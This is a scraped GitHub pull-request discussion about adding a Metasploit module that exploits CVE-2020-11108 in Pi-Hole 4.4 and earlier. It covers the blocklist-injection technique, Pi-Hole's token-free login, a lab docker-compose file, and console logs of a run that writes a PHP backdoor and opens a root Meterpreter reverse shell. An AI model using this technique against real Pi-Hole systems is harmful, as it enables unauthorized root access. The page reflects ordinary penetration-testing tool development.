Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

h00die · 2020-05-13T03:01:09Z

Root exploit against Pi-Hole <= 4.4 for cve-2020-11108.

Verified against 4.3.2, (modified code) and 4.4.

A few notes:

The writeup mentioned you should just run (our) web server on port 80. When putting in the blocklist w/ a different port, the various encodings muck with it before it gets to the RCE point. I didn't attempt to make this work.
Originally attempted to use /stage1 and /stage2 on the URLs for the blacklist, to track which was which. Similar to test #1 something got strange when getting to the RCE point, and it wouldn't work.
teleporter.php gets overwritten. I didn't bother pulling a 'good' one and then re-uploading it on shell.

Verification

Install a vuln pihole

Start msfconsole
use exploit/unix/http/pihole_blocklist_exec
set rhost/srvhost/etc
Verify you get a root exploit
Document make sure its all grammar and spelling and good.

bcoles

Parenthesis will soon be mandatory.

modules/exploits/unix/http/pihole_blocklist_exec.rb

h00die · 2020-05-13T13:01:02Z

Negative Test Cases

Correctly identifies 4.4 and 5.0

msf5 exploit(unix/http/pihole_blocklist_exec) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf5 exploit(unix/http/pihole_blocklist_exec) > [-] Version Detected: 4.4
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable
check
[-] Version Detected: 5.0
[*] 2.2.2.2:80 - The target is not exploitable.

h00die · 2020-05-13T16:36:39Z

@Frichetten FYI. Do you want an email added to your POC for the exploit?

Frichetten · 2020-05-13T16:43:47Z

Hi @h00die, no thank you. I'm okay with just the link to my blog. If someone really wanted to contact me they could find the info there (I'm always nervous about an my email being in plaintext somewhere bots could find it and spam me).

Thank you for taking the time to build an actual Metasploit module for it! I never thought of doing that.

Frichetten · 2020-05-13T17:08:41Z

Also just a heads up that Pi-hole v4.4 is vulnerable. If you like I can take a stab at debugging it and seeing what's up. (Pi-hole Version v4.4, Web Interface Version v4.33, FTL Version v4.3.1)

h00die · 2020-05-14T00:47:52Z

@Frichetten thanks for writing an awesome blog with step by step instructions, and using python so I could actually follow along.

You were right on the 4.4, I adjusted the code a bit and got it working.

modules/exploits/unix/http/pihole_blocklist_exec.rb

h00die · 2020-05-14T03:56:26Z

throwing a delay label on here to investigate authentication

Frichetten · 2020-05-14T04:01:25Z

Interesting. I’m not sure if 3.2.1 has authentication, but 4.4 does. When you install it will set a random one and the user can change it.

A quick/simple fix could be to ask for an authenticated session cookie from the user. Then just set ‘cookie = “PHPSESSID=user cookie”’

h00die · 2020-05-14T04:04:24Z

should be easy enough to add a password option, then send a post (or get then post for any csrf/tokens) to authenticate. I'll do a re-install of 3.2.1 and 4.4 and see if i can't find one. Now that the <3.3 exploit is up, I also wanted to do CVE-2020-8816, so a common library for authentication would be nice to have.

h00die · 2020-05-14T12:52:51Z

for notes, pihole 4.4, and 4.3.2 are strange in their logins.
They have no CSRF/token protection. Next, when you hit a page that requires auth, you don't get a redirect, it just gives you the login page content on the URL you specified. You send the POST to login to ANY URL (or at least i did it to the /admin/settings.php page) even though the traditional login page is /admin/index.php?login. It will then refresh the page with the appropriate content.

This is actually easier than expected, no token grabbing, no processing redirects etc.

wvu · 2020-05-14T14:46:58Z

modules/exploits/unix/http/pihole_blocklist_exec.rb

+      print_status('Adding backdoor reference')
+      add_blocklist(backdoor_name, token, cookie)
+
+      # update gravity


Okay, Einstein.

acammack-r7

Nice module! Some small fixes to avoid nils and creating unneeded regexes.

modules/exploits/unix/http/pihole_blocklist_exec.rb

adfoster-r7 · 2020-05-15T16:04:26Z

Looks like a solid module, should be able to land this later 👍

Running check against 5.0

msf5 exploit(unix/http/pihole_blocklist_exec) > set verbose true
verbose => true
msf5 exploit(unix/http/pihole_blocklist_exec) > check

[-] Version Detected: 5.0
[*] 127.0.0.1:80 - The target is not exploitable.

Running check against 4.3

[+] Version Detected: 4.3
[*] 127.0.0.1:80 - The target appears to be vulnerable.

Running against 4.3 with a valid password

msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3
[*] Using URL: http://192.168.222.1:80/
[*] Using cookie: PHPSESSID=fj7l5goh1hcs2ntmkb8gd3ipg2;
[*] Login required, attempting login.
[*] Using token: f9qnxBv48noc7Ym3wRCc9RDzNm/e51PWkXqZ8PQDgWQ=
[*] Adding backdoor reference
[*] Forcing gravity pull
[*] Received GET request.  Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (1/2) Sending priv esc trigger
[*] Adding root reference
[*] Forcing gravity pull
[*] Received GET request.  Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (2/2) Sending root payload
[*] Popping root shell
[*] Sending stage (38288 bytes) to 192.168.222.128
[*] Meterpreter session 3 opened (192.168.222.1:4444 -> 192.168.222.128:56936) at 2020-05-15 17:02:39 +0100
[+] Deleted YUQ1KxZP.php
sessions -1
[*] Starting interaction with 3...

meterpreter >

Running against 4.3 with an invalid password

[*] Using URL: http://192.168.222.1:80/
[*] Using cookie: PHPSESSID=kg1c6gkidtgv9gvutdmo0eefs2;
[*] Login required, attempting login.
[-] Exploit aborted due to failure: bad-config: Incorrect Password
[*] Server stopped.

This was my docker-compose file:

docker-compose.yml

version: "3"

# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
services:
  pihole:
    container_name: pihole
    image: pihole/pihole:4.3
    ports:
#      - "53:53/tcp"
#      - "53:53/udp"
#      - "67:67/udp"
      - "80:80/tcp"
#      - "443:443/tcp"
    environment:
      TZ: 'America/Chicago'
      WEBPASSWORD: 'password123'
    # Volumes store your data between container upgrades
    #volumes:
    #   - './etc-pihole/:/etc/pihole/'
    #   - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    dns:
      - 127.0.0.1
      - 1.1.1.1
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped

h00die · 2020-05-15T17:09:39Z

I'm hoping to write a 3rd pihole exploit in the next day or two. May make a cool weekly summary if all 3 land the same week 😉

adfoster-r7 · 2020-05-18T12:46:24Z

Release Notes

This adds a root exploit for Pi-Hole, versions 4.4 and lower. This takes advantage of CVE-2020-11108. A new blocklist is added then an update is forced to pull in the blocklist content. Then PHP content is written to a file within webroot.

cve-2020-11108

9aa8578

bcoles added docs module labels May 13, 2020

bcoles reviewed May 13, 2020

View reviewed changes

review

7be2983

more cleanup

4f3edb0

updates to work with 4.4

3d05497

h00die changed the title ~~Pi-Hole < 4.4 root RCE CVE-2020-11108~~ Pi-Hole <= 4.4 root RCE CVE-2020-11108 May 14, 2020

h00die added 3 commits May 13, 2020 21:06

add edb reference

6889d36

description

cf0ba9d

title

b10d65d

Frichetten reviewed May 14, 2020

View reviewed changes

modules/exploits/unix/http/pihole_blocklist_exec.rb Show resolved Hide resolved

h00die added the blocked Blocked by one or more additional tasks label May 14, 2020

h00die mentioned this pull request May 14, 2020

Pi-Hole < 3.3 whitelist RCE #13455

Merged

5 tasks

h00die added 2 commits May 14, 2020 08:53

add authentication processing

ebd6eb0

rubocop

07ea1fd

h00die removed the blocked Blocked by one or more additional tasks label May 14, 2020

wvu reviewed May 14, 2020

View reviewed changes

acammack-r7 suggested changes May 14, 2020

View reviewed changes

modules/exploits/unix/http/pihole_blocklist_exec.rb Outdated Show resolved Hide resolved

modules/exploits/unix/http/pihole_blocklist_exec.rb Outdated Show resolved Hide resolved

review

4a39e28

adfoster-r7 self-assigned this May 15, 2020

adfoster-r7 merged commit c019c06 into rapid7:master May 18, 2020

ccondon-r7 mentioned this pull request May 18, 2020

Pi-Hole < 4.3.3 dhcp static address RCE #13470

Merged

5 tasks

h00die mentioned this pull request May 20, 2020

I found an exploit, you might want to check this out as soon as POSSIBLE! pi-hole/pi-hole#3413

Closed

3 tasks

h00die deleted the pihole branch May 20, 2020 20:06

tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label May 28, 2020

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

h00die commented May 13, 2020 •

edited

Loading

bcoles left a comment

h00die commented May 13, 2020

h00die commented May 13, 2020

Frichetten commented May 13, 2020

Frichetten commented May 13, 2020

h00die commented May 14, 2020

h00die commented May 14, 2020

Frichetten commented May 14, 2020

h00die commented May 14, 2020

h00die commented May 14, 2020

wvu May 14, 2020

acammack-r7 left a comment

adfoster-r7 commented May 15, 2020

h00die commented May 15, 2020

adfoster-r7 commented May 18, 2020 •

edited by tperry-r7

Loading

Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

Conversation

h00die commented May 13, 2020 • edited Loading

Verification

bcoles left a comment

Choose a reason for hiding this comment

h00die commented May 13, 2020

Negative Test Cases

h00die commented May 13, 2020

Frichetten commented May 13, 2020

Frichetten commented May 13, 2020

h00die commented May 14, 2020

h00die commented May 14, 2020

Frichetten commented May 14, 2020

h00die commented May 14, 2020

h00die commented May 14, 2020

wvu May 14, 2020

Choose a reason for hiding this comment

acammack-r7 left a comment

Choose a reason for hiding this comment

adfoster-r7 commented May 15, 2020

h00die commented May 15, 2020

adfoster-r7 commented May 18, 2020 • edited by tperry-r7 Loading

Release Notes

h00die commented May 13, 2020 •

edited

Loading

adfoster-r7 commented May 18, 2020 •

edited by tperry-r7

Loading